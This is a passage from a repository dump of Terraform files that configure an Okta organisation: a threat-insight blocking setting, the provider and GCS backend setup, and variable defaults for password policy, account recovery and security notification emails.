23 | resource "okta_threat_insight_settings" "blocked_ip" {
24 | action = "block"
25 | network_excludes = [okta_network_zone.ip_network_zone_blocked.id]
26 | }
27 |
28 | output "BlockedIpZone" {
29 | value = data.okta_network_zone.BlockedIpZoneDefault.id
30 | }
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/provider.tf:
--------------------------------------------------------------------------------
1 | terraform {
2 | required_providers {
3 | okta = {
4 | source = "okta/okta"
5 | version = "~> 3.44"
6 | }
7 | }
8 | backend "gcs" {
9 | bucket = "luna-terraform-backend"
10 | prefix = "luna-okta-provisioning"
11 | }
12 | }
13 |
14 | # Configure the Okta Provider
15 | provider "okta" {
16 | org_name = var.org_name
17 | base_url = var.base_url
18 | api_token = var.api_token
19 | }
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/variables.tf:
--------------------------------------------------------------------------------
1 | variable "api_token" {}
2 |
3 | variable "org_name" {}
4 |
5 | variable "base_url" {}
6 |
7 | variable "password_minimum_length" {
8 | default = 15
9 | }
10 |
11 | variable "password_min_lowercase" {
12 | default = 1
13 | }
14 |
15 | variable "password_min_number" {
16 | default = 1
17 | }
18 |
19 | variable "password_min_symbol" {
20 | default = 1
21 | }
22 |
23 | variable "password_min_age_minutes" {
24 | default = 60
25 | }
26 |
27 | variable "password_exclude_username" {
28 | default = true
29 | }
30 |
31 | variable "password_exclude_first_name" {
32 | default = true
33 | }
34 |
35 | variable "password_exclude_last_name" {
36 | default = true
37 | }
38 |
39 | variable "password_dictionary_lookup" {
40 | default = true
41 | }
42 |
43 | variable "password_max_age_days" {
44 | default = 90
45 | }
46 |
47 | variable "password_expire_warn_days" {
48 | default = 15
49 | }
50 |
51 | variable "password_history_count" {
52 | default = 24
53 | }
54 |
55 | variable "password_max_lockout_attempts" {
56 | default = 5
57 | }
58 |
59 | variable "password_auto_unlock_minutes" {
60 | default = 30
61 | }
62 |
63 | variable "password_show_lockout_failures" {
64 | default = true
65 | }
66 |
67 | variable "email_recovery" {
68 | default = "ACTIVE"
69 | }
70 |
71 | variable "sms_recovery" {
72 | default = "ACTIVE"
73 | }
74 |
75 | variable "question_recovery" {
76 | default = "ACTIVE"
77 | }
78 |
79 | variable "report_suspicious_activity_enabled" {
80 | default = true
81 | }
82 |
83 | variable "send_email_for_factor_enrollment_enabled" {
84 | default = true
85 | }
86 |
87 | variable "send_email_for_factor_reset_enabled" {
88 | default = true
89 | }
90 |
91 | variable "send_email_for_new_device_enabled" {
92 | default = true
93 | }
94 |
95 | variable "send_email_for_password_changed_enabled" {
96 | default = true
97 | }
--------------------------------------------------------------------------------